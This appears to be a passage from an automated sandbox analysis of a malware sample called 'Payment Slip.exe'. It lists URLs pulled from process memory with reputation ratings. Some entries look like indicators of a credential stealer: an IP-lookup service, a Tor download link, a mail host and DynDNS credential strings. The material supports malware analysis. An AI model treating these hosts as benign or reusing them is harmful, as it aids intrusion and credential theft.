                              http://www.sandoll.co.krs-cvPayment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.jiyu-kobo.co.jp/(Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376962351.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.urwpp.deDPleasePayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.zhongyicts.com.cnPayment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namePayment Slip.exe, 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://www.carterandcone.como.Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://api.ipify.org%RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		low
                                http://www.jiyu-kobo.co.jp/es-eOPayment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.fontbureau.comalsdPayment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://crl.microsoft.co6RegSvcs.exe, 0000000A.00000003.445840024.0000000005CCD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000003.461371858.0000000005CF3000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.galapagosdesign.com/Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.sandoll.co.krwPayment Slip.exe, 00000001.00000003.370802075.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.carterandcone.comsofPayment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/OPayment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://wwwRegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.sandoll.co.krmPayment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/DPayment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.come.comPayment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380504300.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://4fzYgv0VsnfOwxj3KTsx.orgRegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.636673141.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.636591981.0000000002B4C000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://en.wPayment Slip.exe, 00000001.00000003.369266021.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.369235997.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.369286109.00000000059BA000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.carterandcone.comlPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.founder.com.cn/cn/Payment Slip.exe, 00000001.00000003.370802075.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371537770.00000000059B2000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/yPayment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.carterandcone.comofPayment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designers/frere-jones.htmlPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.carterandcone.como.4Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  http://www.jiyu-kobo.co.jp/Y0/Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://www.jiyu-kobo.co.jp/kPayment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://mail.subnet-group.comRegSvcs.exe, 0000000A.00000002.636625632.0000000002B52000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.founder.com.cn/cnicrPayment Slip.exe, 00000001.00000003.371357816.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.fontbureau.comFkPayment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380260943.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378867231.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.founder.com.cn/cn%Payment Slip.exe, 00000001.00000003.371285758.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371173544.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.goodfont.co.krdePayment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.zhongyicts.com.cno.kPayment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.zhongyicts.com.cnuePayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.fontbureau.com/designersGPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.carterandcone.comn-uPayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373838060.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designers/?Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.founder.com.cn/cn/bThePayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.fontbureau.com/designers?Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://github.comPayment Slip.exefalse
                                            		high
                                            http://www.fontbureau.com/designersXPayment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.tiro.comPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371843623.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.goodfont.co.krPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comPayment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.sajatypeworks.comEPayment Slip.exe, 00000001.00000003.367520517.0000000005992000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.com(Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              http://www.galapagosdesign.com/staff/dennis.htm3Payment Slip.exe, 00000001.00000003.384323219.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383736199.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384539089.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383858390.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384219354.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384019197.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383560903.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.com.Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.founder.com.cn/cnCPayment Slip.exe, 00000001.00000003.371285758.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371173544.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.fontbureau.comoituOPayment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comTCJPayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.fontbureau.comldomPayment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395061880.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393674920.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.399655463.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395710909.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393427428.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.typography.netDPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.zhongyicts.com.cncrPayment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.galapagosdesign.com/staff/dennis.htmPayment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://fontfabrik.comPayment Slip.exe, 00000001.00000003.368946624.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.368798069.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.sandoll.co.kra-esPayment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comTCCPayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.fontbureau.com/designersaPayment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.galapagosdesign.com/yPayment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383736199.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383560903.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.jiyu-kobo.co.jp/jp/kPayment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://subnet-group.comRegSvcs.exe, 0000000A.00000002.636625632.0000000002B52000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.jiyu-kobo.co.jp/slntPayment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://DynDns.comDynDNSnamejidpasswordPsi/PsiRegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
